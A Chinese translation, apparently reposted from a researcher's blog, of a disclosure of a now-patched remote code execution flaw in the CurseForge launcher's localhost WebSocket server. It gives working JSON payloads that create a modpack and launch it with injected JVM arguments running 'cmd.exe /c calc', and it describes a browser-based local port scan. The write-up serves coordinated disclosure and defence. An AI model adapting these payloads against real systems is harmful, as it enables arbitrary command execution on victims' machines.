CurseForge中WebSocket导致远程代码执行的情况

admin 2025-12-29 01:08:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露了CurseForge启动器因本地WebSocket服务缺失Origin校验导致的远程代码执行漏洞。攻击者可通过伪造网页消息,利用可控的JVM参数创建并启动模组包,从而在受害者主机执行任意命令。该漏洞涉及端口扫描及Java参数注入,最终厂商通过添加Origin验证完成了修复。 综合评分: 87 文章分类: 漏洞分析,渗透测试,漏洞预警,应用安全


cover_image

CurseForge 中 WebSocket 导致远程代码执行的情况

Ots安全

2025年12月27日 14:05 广东

威胁简报

恶意软件

漏洞攻击

介绍

几个月前发现SuperShy 远程代码执行漏洞后,我开始深入研究 WebSocket。出于好奇,我开始四处搜寻系统上其他会定期暴露绑定到回环接口的本地 WebSocket 服务器的应用程序。

我发现了一些有趣的应用程序,在获得授权后,我会撰写相关文章。但其中最引人注目的是游戏模组平台 CurseForge。CurseForge 是使用最广泛的视频游戏模组平台之一,数百万用户依赖其桌面启动器来管理和启动模组包。

查找 WebSocket

在监控本地 WebSocket 流量时,我注意到每次启动整合包时,CurseForge 启动器都会通过本地 WebSocket 连接发送以下消息:

{
"args": [
{
"MinecraftInstanceGuid": "9ee1c6b8-f0f3-441c-b6be-6b03a7a6019a",
"ResolutionWidth": 1024,
"ResolutionHeight": 768,
"LauncherVisibility": "Close",
"LauncherType": "Classic",
"AdditionalJavaArguments": ""
}
],
"type": "method",
"name": "minecraftTaskLaunchInstance"
}

乍一看,这似乎是一条典型的启动消息。但值得注意的是,WebSocket 端点绑定到了本地主机,而且消息中没有包含任何明显的身份验证或授权机制,例如 API 密钥、会话令牌或每次请求的验证。

我编写了一个小脚本,重新发送了相同的 WebSocket 消息,这次添加了一个伪造的 Origin 标头elliott.diy。令我惊讶的是,启动器接受了连接,整合包也成功启动了。

如果一个带有伪造源标头的随机脚本可以不受限制地向 CurseForge 启动器发送 WebSocket 消息,那么用户访问的任何网站都有可能控制该启动器。由此,我开始深入调查究竟是什么在托管这个 WebSocket 服务器,以及我还能做些什么。

无需原产地检查

服务器已集成到启动器中CurseAgent.exe,并在启动器打开时启动。我将其加载到 JetBrains 反编译器 dotPeek 中,并很快确认没有对传入的 WebSocket 连接执行来源验证。

我还开始深入研究公开的方法,发现除了启动整合包之外,还有几个可调用的操作:

  • minecraftGetDefaultLocation – 返回 Minecraft 的默认安装路径
  • createModpack – 创建一个新的整合包并返回其 GUID
  • minecraftTaskLaunchInstance – 使用提供的 GUID、启动器类型和任意 Java 参数启动模组包

对于其他游戏和启动器功能,还有许多其他方法,但以上方法与本文最为相关。

这里最大的问题是,它允许攻击者控制的 JVM 参数在启动游戏时minecraftTaskLaunchInstance通过该字段提供。AdditionalJavaArguments

概念验证

  • 视频演示: https://cdn.elliott.diy/curseforge.mp4
  • 在线概念验证: https://research.elliott.diy/97bef577
  • 源代码: https://github.com/elliott-diy/curseforge

为了验证这种方法的可行性,我编写了一个简单的概念验证程序。CurseForge 支持其他几款游戏,我相当确信类似的技术也能在这些游戏上运行,但我本人是 Minecraft 的铁杆粉丝,所以只使用了 Minecraft 特有的方法。这个概念验证程序将两个暴露的 WebSocket 方法串联起来:一个用于创建一个新的模组包,另一个用于使用攻击者可控的 JVM 参数启动该模组包。

步骤 1:创建模组包

第一步是调用createModpack,它会在受害者的系统上创建一个全新的模组包,并返回一个有效的 GUID,该 GUID 稍后用于游戏启动。

{
"args": [{
"GameId": 432,
"Name": "PWNED",
"Author":&nbsp;"Elliott <3",
"GameVersion":&nbsp;"1.21.8",
"ModloaderVersionString":&nbsp;"forge-58.0.1",
"ProfileImagePath":&nbsp;null,
"InstallSource":&nbsp;0,
"ModsToInstall": [],
"GroupId":&nbsp;null
}],
"type":&nbsp;"method",
"name":&nbsp;"createModpack"
}

步骤 2:使用攻击者控制的 JVM 参数启动

一旦返回该 GUID,它就会直接传递给一个minecraftTaskLaunchInstance调用。有趣的地方就在这里,因为启动器很乐意通过AdditionalJavaArguments.

为了演示,我使用了以下 JVM 标志来实现代码执行:

-XX:MaxMetaspaceSize=16m
-XX:OnOutOfMemoryError="cmd.exe /c calc"

第一个标志强制将元空间设置为一个极小的尺寸,导致 JVM 在启动时迅速耗尽内存。第二个标志处理这种内存错误,并在 JVM 崩溃时执行任意命令。在本例中,它只是简单地打开经典的 calc.exe 程序。

恶意 JVM 参数和 GUID 随后被传递到以下启动有效载荷中:

{
"args": [{
"MinecraftInstanceGuid":&nbsp;"GUID",
"ResolutionWidth":&nbsp;1024,
"ResolutionHeight":&nbsp;768,
"LauncherVisibility":&nbsp;"Close",
"LauncherType":&nbsp;"Classic",
"AdditionalJavaArguments":&nbsp;"-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError=\"cmd.exe /c calc\""
}],
"type":&nbsp;"method",
"name":&nbsp;"minecraftTaskLaunchInstance"
}

当发送此消息时,CurseForge 会使用提供的 JVM 参数启动新创建的整合包,从而使有效载荷在游戏启动时在客户端系统上执行。根据用户的启动器设置,这可能只需要少量用户交互,但在许多情况下会自动完成。

随附的视频 PoC 将每个步骤都清晰地展示出来。在实际攻击中,恶意网站完全可以在后台执行相同的攻击。

发现

这个概念验证唯一真正的不足之处在于,CurseAgent 并没有将其 WebSocket 服务器绑定到固定端口。相反,它每次启动时都会监听一个随机分配的本地端口。

为了解决这个问题,PoC 首先需要确定 WebSocket 服务器实际监听的端口。这可以通过探测本地端口范围并尝试打开 WebSocket 连接来实现,直到收到有效的 CurseForge 端点响应。一旦找到正确的端口,后续的攻击链即可正常进行。

该扫描会访问大约 16,000 个端口,并且在基于 Chromium 的浏览器中运行稳定,除了在低端系统上会出现一些延迟外,连接尝试基本没有问题。而 Firefox 则几乎立即崩溃,使得该概念验证在 Firefox 上基本无法使用。

披露时间表

毋庸置疑,发现此问题后不久便已向 CurseForge 报告。

  • 2025年7月29日- 发现漏洞并首次报告。
  • 2025年8月11日- 与CurseForge进行后续沟通。由于缺少安全联系人,协调工作由一位出色的社区经理负责,他已将问题上报至公司内部。
  • 2025年8月31日- 正式确认存在漏洞。
  • 2025年9月15日- 收到了一件 CurseForge T恤。
  • 2025 年 11 月 2 日- CurseForge 应用程序版本1.289.3中发布了修复程序,并在后续工作中添加了来源检查。
  • 2025年12月23日- 在给予一段时间进行推广后向公众披露。

从最初的报告到修复,这导致浏览器存在一个可利用的远程代码执行漏洞,持续了三个多月。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CurseForge 中 WebSocket 导致远程代码执行的情况》

评论:0   参与:  0